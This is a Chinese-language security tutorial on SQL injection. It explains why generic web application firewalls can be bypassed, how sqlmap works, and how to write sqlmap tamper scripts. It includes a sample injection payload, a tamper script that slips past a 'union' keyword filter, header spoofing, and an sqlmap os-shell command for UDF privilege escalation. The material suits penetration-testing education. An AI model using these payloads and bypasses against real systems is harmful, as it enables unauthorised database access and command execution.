通用型的WAF,一般无法获知后端使用的是哪些WEB容器、什么数据库、以及使用的什么脚本语言。每一种WEB容器、数据库以及编程语言,它们都有自己的特性,想使用通用的WAF规则去匹配和拦截,是非常难 的。
通用型WAF在考虑到它们一些共性的同时,也必须兼顾它们的特性,否则就很容易被一些特性给Bypass!

  • 为性能和业务妥协

要全面兼容各类Web Server及各类数据库的WAF是非常难的,为了普适性,需要放宽一些检查条件,暴力的过滤 方式会影响业务。
对于通用性较强的软WAF来说,不得不考虑到各种机器和系系统的性能,故对于一些超大数据包、超长数据可能会 跳过不检测。
以上就是WAF自身的一些问题,接下来我们会针对这些问题进行讲解,看看WAF是怎么受这些问题影响的。
然后是数据库的一些特性,不同的数据库有一些属于自己的特性,WAF如果不能处理好这些特性,就会出很大的问题。

接下来给出一些实战中的利用文章,可结合以上知识一起学习:

MySQL绕过WAF实战技巧(https://www.freebuf.com/articles/web/155570.html)

MYSQL_SQL_BYPASS_WIKI(https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI)

My Waf Bypass Series Article(https://www.thinkings.org/2017/02/13/my-waf-bypass-series-article.html)

七.注入工具


Sqlmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

当给Sqlmap开始检测一个url的时候,它会:

  1. 判断注入时选择的参数

  2. 判断识别出使用的那种数据库

  3. 判断注入时使用何种sql注入技术来进行注入

  4. 根据用户的选择需要,获取相应的需要的数据

关于详细的sqlmap使用参数(options)及细节,可以查阅sql使用手册。这里可以获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。

Tamper编写

使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。使用方法:

 
   
   
 
  1. sqlmap.py XXXXX -tamper "模块名"

关于sqlmap自带的tamper与注释,在上方的使用手册中可以看到。此处我们来探讨Tamper的编写方法。

tamper脚本基于python语言。为了说明tamper的结构,让我们从一个最简单的例子开始:

 
   
   
 
  1. # sqlmap/tamper/escapequotes.py


  2. from lib.core.enums import PRIORITY


  3. __priority__ = PRIORITY.LOWEST


  4. def dependencies():

  5. pass


  6. def tamper(payload,**kwargs):

  7. return payload.replace("'","\\'").replace('"','\\"')

可以看到tamper脚本的基本结构为 priority变量定义和 dependencies、 tamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。

  • dependencies函数声明该脚本适用或不适用的范围,可以为空。

  • tamper是主要的函数,接受的参数为 payload **kwargs,返回值为替换后的payload。

详细介绍:

priority

在自带的tamper脚本中一共有以下几种优先级 还可以自定义 -100~100

 
   
   
 
  1. __priority__ = PRIORITY.LOWEST

  2. __priority__ = PRIORITY.LOWER

  3. __priority__ = PRIORITY.LOW

  4. __priority__ = PRIORITY.NORMAL

  5. __priority__ = PRIORITY.HIGH

  6. __priority__ = PRIORITY.HIGHER

  7. __priority__ = PRIORITY.HIGHEST

dependencies函数

dependencies函数,对tamper脚本支持/不支持使用的环境进行声明,可以为空,如:

 
   
   
 
  1. import os

  2. from lib.core.common import singleTimeWarnMessage


  3. def dependencies():

  4. singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0], DBMS.ACCESS))

  5. #singleTimeWarnMessage()用于在控制台中打印出警告信息

tamper函数

tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码

 
   
   
 
  1. $id = trim($POST($id),'union');

  2. $sql="SELECT * FROM users WHERE id='$id'";

而我们的payload为

 
   
   
 
  1. -8363' union select null -- -

这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper

 
   
   
 
  1. def tamper(payload,**kwargs):

  2. return payload.replace('union','uniounionn')

保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上—tamper=replaceunion的参数,就可以绕过该过滤规则。

kwargs

在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header

 
   
   
 
  1. # sqlmap/tamper/vanrish.py


  2. def tamper(payload,**kwargs):

  3. headers = kwargs.get("headers",{})

  4. headers["X-originating-IP"]="127.0.0.1"

  5. return payload

Tamper的编写远不止这些,本块只就其最基本的结构进行探讨。作为sqlmap的扩展,在编写tamper时几乎所有的sqlmap内置的函数、变量都可以使用,这些内容同样可查阅使用手册。

sqlmap udf提权

本文前面的内容已经提到了有关udf提权的内容,此处讲述其在sqlmap中的实现。

sqlmap\data\udf\mysql\windows\32 目录下存放着32位的 lib_mysqludf_sys.dll,但是 sqlmap 中自带的 shell 以及一些二进制文件,为了防止被误杀都经过异或方式编码,不能直接使用。

可以利用sqlmap 自带的解码工具cloak.py,进入到 sqlmap\extra\cloak 目录下,执行命令:python2 cloak.py -d -i D:\sqlmap\data\udf\mysql\windows\32\lib_mysqludf_sys.dll

解码后在 sqlmap\data\udf\mysql\windows\32 文件夹下会生成 dll 文件。

利用sqlmap进行UDF提权指令:

sqlmap.py -d “mysql://root:[email protected]:3306/test” -–os-shell

sqlmap内置的dll支持以下函数:

文库 | SQL注入知识总结

文库 | SQL注入知识总结

access注入合集(https://bbs.zkaq.cn/t/4481.html)




回顾往期内容

文库 | SQL注入知识总结


扫码白嫖视频+工具+进群+靶场等资料


 


 扫码白嫖


 还有免费的配套靶场交流群哦!